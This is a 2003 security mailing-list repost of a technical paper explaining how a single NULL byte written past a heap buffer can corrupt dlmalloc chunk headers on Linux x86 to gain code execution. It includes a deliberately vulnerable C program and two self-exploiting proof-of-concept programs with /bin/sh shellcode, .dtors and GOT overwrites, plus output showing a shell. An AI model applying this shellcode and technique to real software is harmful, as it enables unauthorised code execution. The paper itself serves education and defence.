[REVS] Heap Off by One - Explained

From: SecuriTeam (support_at_securiteam.com)
Date: 06/22/03

  • Next message: SecuriTeam: "[NT] Windows XP gethostbyaddr() NULL h_name Pointer"
    To: list@securiteam.com
    Date: 22 Jun 2003 19:54:09 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security in Canada

    Toronto-based Sunrays Technologies is now Beyond Security's representative in Canada.
    We welcome ISPs, system integrators and IT systems resellers
    to promote the most advanced vulnerability assessment solutions today.

    Contact us at 416-482-0038 or at canadasales@beyondsecurity.com

    - - - - - - - - -

      Heap Off by One - Explained
    ------------------------------------------------------------------------

    SUMMARY

    The scope of this short paper is to describe how vulnerabilities
    consisting of a NULL byte being written past the end of dynamically
    allocated buffers could be used to compromise a system.

    The name 'off by one' is borrowed from the well known category of
    vulnerabilities affecting buffers allocated into the stack: in that case
    exploitation is performed through the frame pointer overwriting (See
    references in the end for details [1][2]).

    Exploitation of the vulnerabilities being described in this article, are
    for buffers allocated into the heap, which meets a completely different
    context.

    In this paper we will refer to Linux x86, but most of the things described
    here are applicable to other systems and architectures.

    DETAILS

    Overview of malloc chunk
    First of all we have to know what a malloc chunk is or at least how it
    looks like, taking a look in malloc.c (dlmalloc):

    struct malloc_chunk {
     INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
     INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
     struct malloc_chunk* fd; /* double links -- used only if free. */
     struct malloc_chunk* bk;
    };

    prev_size and size fields constitute the chunk header. While the fd and
    the bk fields are used only whenever a chunk is freed. When in use, these
    point just the beginning of our memory area (To where malloc() returns a
    pointer to).

    See references in the end for further details about malloc() and typical
    exploitation of heap overflows [3][4][5].

    Length and allocation
    When malloc() is called, it doesn't allocate the entire amount of bytes
    that were passed as argument, but rather (as you can see in the below
    code):

    <alloc.c>
    int
    main(int argc, char **argv)
    {
     char *p0, *p1;
     int *size_p, len;

     if(argc == 1)
      exit(1);

     len = atoi(argv[1]);

     p0 = (char *) malloc(len);
     p1 = (char *) malloc(8);
     printf("p0 -> %p\n", p0);
     printf("p1 -> %p\n", p1);

     size_p = (int *) p0 - 1;
     printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
     size_p = (int *) p1 - 1;
     printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);

     free(p0);
     free(p1);
    }
    </alloc.c>

    So doing using the following examples, we can better understand how the
    chunk size is set:

    bash-2.05a$ ./alloc 4
    p0 -> 0x80497d8
    p1 -> 0x80497e8
    allocated size for p0: 17 (0x11)
    allocated size for p1: 17 (0x11)
    bash-2.05a$ ./alloc 8
    p0 -> 0x80497d8
    p1 -> 0x80497e8
    allocated size for p0: 17 (0x11)
    allocated size for p1: 17 (0x11)
    bash-2.05a$ ./alloc 12
    p0 -> 0x80497d8
    p1 -> 0x80497e8
    allocated size for p0: 17 (0x11)
    allocated size for p1: 17 (0x11)
    bash-2.05a$ ./alloc 13
    p0 -> 0x80497d8
    p1 -> 0x80497f0
    allocated size for p0: 25 (0x19)
    allocated size for p1: 17 (0x11)

    As we can see the 0x11 is the minimal allocation. It says 0x11 rather than
    0x10 because the low bit of the length is a flag. Where 0 means free, and
    1 means in use. You can see that from a certain point a larger area is
    allocated.

    We will try now to better explain what is happening:
    p0 -> 0x8049928
    p1 -> 0x8049938
    allocated size for p0: 17 (0x11)
    allocated size for p1: 17 (0x11)

    (gdb) x/8 0x8049928 - 8
    0x8049920: 0x00000000 0x00000011 0x41414141 0x00414141
    0x8049930: 0x00000000 0x00000011 0x00000000 0x00000000
    (gdb) x 0x8049928 + 12
    0x8049934: 0x00000011

    As this clearly shows, the size of the chunk also needs to take into
    account the next chunk header.

    Therefore if we are able to put a NULL byte beyond the end of the first
    buffer, and using a carefully calculated length we can set to zero the
    size field of the chunk allocated immediately past ours, we can take into
    control the execution flow.

    We calculate the length using the following formula:

     length = 12 + (n * 8);
    12, 20, 28, 36 ...

    Example program:
    Let us take an example (a vulnerable program) and see what off-by-one
    vulnerability it contains:

    <vuln.c>
    #define MY_LEN 12

    void
    do_it(char *s)
    {
     char *p0, *p1;
     int *size_p, len;

     len = strlen(s);
     printf("len: %u\n", len);

     p0 = (char *) malloc(len);
     p1 = (char *) malloc(8);
     printf("p0 -> %p\n", p0);
     printf("p1 -> %p\n", p1);

     size_p = (int *) p0 - 1;
     printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
     size_p = (int *) p1 - 1;
     printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);

     p0[0] = 0x00;
     strncat(p0, s, len);

     size_p = (int *) p0 - 1;
     printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
     size_p = (int *) p1 - 1;
     printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);

     free(p0);
     free(p1);

     return;
    }

    int
    main()
    {
     char s[256];

     memset(s, 0x41, MY_LEN);
     s[MY_LEN] = 0x00;

     do_it(s);

     exit(0);
    }
    </vuln.c>

    bash-2.05a$ ./vuln
    len: 12
    p0 -> 0x8049900
    p1 -> 0x8049910
    allocated size for p0: 17 (0x11)
    allocated size for p1: 17 (0x11)
    allocated size for p0: 17 (0x11)
    allocated size for p1: 0 ((nil))
    Segmentation fault

    As you can see all that now is required is controlling the segmentation
    fault process, from which we can control program's execution flow.

    Exploitation
    Whenever a size field is set to zero it tells the kernel that the chunk
    has not been use. When free() is called on this chunk (a freed chunk), it
    will look for previous and next chunk in order to link them each other. If
    we provide these addresses we can cause the program crash, preferably
    while causing it to execute arbitrary code.

    Simple Example
    The following program exploits itself. The variable LOCATION points to
    dtors (but of course it could be also the __free_hook address or whatever
    you wish).

    In order to locate the address of .dtors we run "objdump -s -j .dtors
    <program>". The address returned we need to modify so that the first byte
    on the left is increased by a factor of 0x4.

    To find the shellcode address, we need to launch the program and monitor
    the first buffer's address ((p0) + 0x20, in our case p0 pointing to
    0x8049b08).

    <auto-xpl.c>
    #define LOCATION 0x8049aa8
    #define SC_ADDR 0x8049b28

     /* Linux x86 PIC basic shellcode (25 bytes) */
     char shellcode[] =
     "\x31\xc0\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
     "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
     "\x80";

    void
    do_it(char *s0, char *s1)
    {
     char *p0, *p1;
     int *size_p, len0, len1;

     len0 = strlen(s0);
     printf("len0: %u\n", len0);
     len1 = strlen(s1);
     printf("len1: %u\n", len1);

     p0 = (char *) malloc(len0);
     p1 = (char *) malloc(len1);
     printf("p0 -> %p\n", p0);
     printf("p1 -> %p\n", p1);

     size_p = (int *) p0 - 1;
     printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
     size_p = (int *) p1 - 1;
     printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);

     p0[0] = 0x00;
     strncat(p0, s0, len0);
     memcpy(p1, s1, len1);

     size_p = (int *) p0 - 1;
     printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
     size_p = (int *) p1 - 1;
     printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);

     free(p0);
     free(p1);

     return;
    }

    int
    main()
    {
     char s0[1024], s1[1024];
     int *i;

     i = (int *) s0;
     *i++ = 0x41414141;
     *i++ = 0x41414141;
     *i++ = 0xadadadad;
     *i++ = 0x00;

     memset(s1, 0x00, sizeof(s1));

     i = (int *) s1;
     *i++ = LOCATION - 12;
     *i++ = SC_ADDR - 8;
     memset(s1 + strlen(s1), 0x90, 4);
     memcpy(s1 + strlen(s1), "\xeb\x0e\x90\x90", 4);
     memset(s1 + strlen(s1), 0x90, 24);
     memcpy(s1 + strlen(s1), shellcode, strlen(shellcode) + 1);

     do_it(s0, s1);

     exit(0);
    }
    </auto-xpl.c>

    bash-2.05a$ ./auto-xpl
    len0: 12
    len1: 65
    p0 -> 0x8049b08
    p1 -> 0x8049b18
    allocated size for p0: 17 (0x11)
    allocated size for p1: 73 (0x49)
    allocated size for p0: 17 (0x11)
    allocated size for p1: 0 ((nil))
    sh-2.05a$

    The above example's biggest disadvantage is the fact that we need to
    control the first 8 bytes of the buffer whose size is set to zero, and
    this most improbable (even if not impossible) in real life programs.

    Therefore we are required to use another method. Since we control the
    prev_size field, we could set it to a positive value (i.e.: 0x00000010),
    thus making free()look for previous chunk inside the first buffer, where
    we could put our malloc structure (a specially crafted malloc structure,
    that will be explained below).

    This solution is better than the previous one since it needs requires
    access to one buffer (reachable by our input). However it still
    troublesome as the value we need to provide the buffer with contains NULL
    bytes (and in most cases we are not able to write them, since strcpy()
    style functions are used).

    This leaves the only viable solution with that of setting the prev_size
    field to a negative value (i.e.: 0xfffffff0). This will cause the free()
    function to will look for the previous chunk somewhere past the end of the
    buffer we control.

    By utilizing this method, we can write an arbitrary value in an arbitrary
    location. For example, we can put a fake malloc structure in the location
    pointed to by the negative prev_size.

    Nevertheless, after this modification the program will still segfault.
    Usually this is not a problem as we can utilize this to our benefit (if we
    patch the GOT entry of one of the functions called in the SIGSEGV handler,
    for example syslog(), we can control the program flow).

    Advance Example:
    The following program exploits itself. The variable LOCATION points to the
    GOT entry of printf().

    To find the GOT entry we can do:
    (gdb) x/i printf
    0x8048484 <printf>: jmp *0x8049be4
                                                         ^^^^^^^^^

    Again to find the shellcode address, we need to launch the program and
    monitor the first buffer's address ((p0) + 0x20, in our case p0 pointing
    to 0x8049c20).

    <auto-xpl-negsiz.c>
    #include

    #define LOCATION 0x8049be4
    #define SC_ADDR 0x8049c58

     /* Linux x86 PIC basic shellcode (25 bytes) */
     char shellcode[] =
     "\x31\xc0\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f"
     "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd"
     "\x80";

    void
    sigsegvhandler()
    {
     printf("Caught SIGSEGV.\n");

     exit(1);
    }

    void
    do_it(char *s0, char *s1)
    {
     char *p0, *p1;
     int *size_p, len0, len1;

     len0 = strlen(s0);
     printf("len0: %u\n", len0);
     len1 = strlen(s1);
     printf("len1: %u\n", len1);

     p0 = (char *) malloc(len0);
     p1 = (char *) malloc(len1);
     printf("p0 -> %p\n", p0);
     printf("p1 -> %p\n", p1);

     size_p = (int *) p0 - 1;
     printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
     size_p = (int *) p1 - 1;
     printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);

     p0[0] = 0x00;
     strncat(p0, s0, len0);
     memcpy(p1, s1, len1);

     size_p = (int *) p0 - 1;
     printf("allocated size for p0: %u (%p)\n", *size_p, *size_p);
     size_p = (int *) p1 - 1;
     printf("allocated size for p1: %u (%p)\n", *size_p, *size_p);

     free(p1);

     return;
    }

    int
    main()
    {
     char s0[1024], s1[1024], zbuf[1024];
     int *i;

     signal(SIGSEGV, sigsegvhandler);

     i = (int *) s0;
     *i++ = 0x41414141;
     *i++ = 0x41414141;
     *i++ = 0xffffffe0;
     *i++ = 0x00;

     memset(zbuf, 0x00, sizeof(zbuf));
     memset(zbuf, 0x41, 9);
     i = (int *) &zbuf[strlen(zbuf)];
     *i++ = 0xfffffffe;
     *i++ = 0xffffffff;
     *i++ = LOCATION - 12;
     *i++ = SC_ADDR;

     memset(zbuf + strlen(zbuf), 0x90, 4);
     memcpy(zbuf + strlen(zbuf), "\xeb\x08\x90\x90", 4);
     memset(zbuf + strlen(zbuf), 0x90, 24);
     memcpy(zbuf + strlen(zbuf), shellcode, strlen(shellcode) + 1);

     snprintf(s1, sizeof(s1), "Your input is: %s\n", zbuf);

     do_it(s0, s1);

     exit(0);
    }
    </auto-xpl-negsiz.c>

    bash-2.05a$ ./auto-xpl-negsiz
    len0: 12
    len1: 98
    p0 -> 0x8049c20
    p1 -> 0x8049c30
    allocated size for p0: 17 (0x11)
    allocated size for p1: 105 (0x69)
    allocated size for p0: 17 (0x11)
    allocated size for p1: 0 ((nil))
    sh-2.05a$

    Conclusion
    Conceptually this technique is not very different from the general method
    used to exploit heap overflows. This type vulnerability is not that common
    in real life.

    ADDITIONAL INFORMATION

    References:

    [1] klog. The Frame Pointer Overwrite
    <http://www.phrack.com/search.phtml?view&article=p55-8>
    http://www.phrack.com/search.phtml?view&article=p55-8

    [2] qitest1. middleman-1.2 and prior off-by-one bug
    <http://bespin.org/~qitest1/adv/middleman-1.2.txt.asc>
    http://bespin.org/~qitest1/adv/middleman-1.2.txt.asc

    [3] Doug Lea malloc.c (aka dlmalloc)
    <ftp://gee.cs.oswego.edu/pub/misc/malloc.c>
    ftp://gee.cs.oswego.edu/pub/misc/malloc.c

    [4] maxx. Vudo malloc tricks
    <http://www.phrack.com/search.phtml?view&article=p57-8>
    http://www.phrack.com/search.phtml?view&article=p57-8

    [5] anonymous. Once upon a free()
    <http://www.phrack.com/search.phtml?view&article=p57-9>
    http://www.phrack.com/search.phtml?view&article=p57-9

    The original paper can be downloaded from:
     <http://bespin.org/~qitest1/> http://bespin.org/~qitest1/

    The information has been provided by <mailto:qitest1@bespin.org> qitest1.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NT] Windows XP gethostbyaddr() NULL h_name Pointer"

    Relevant Pages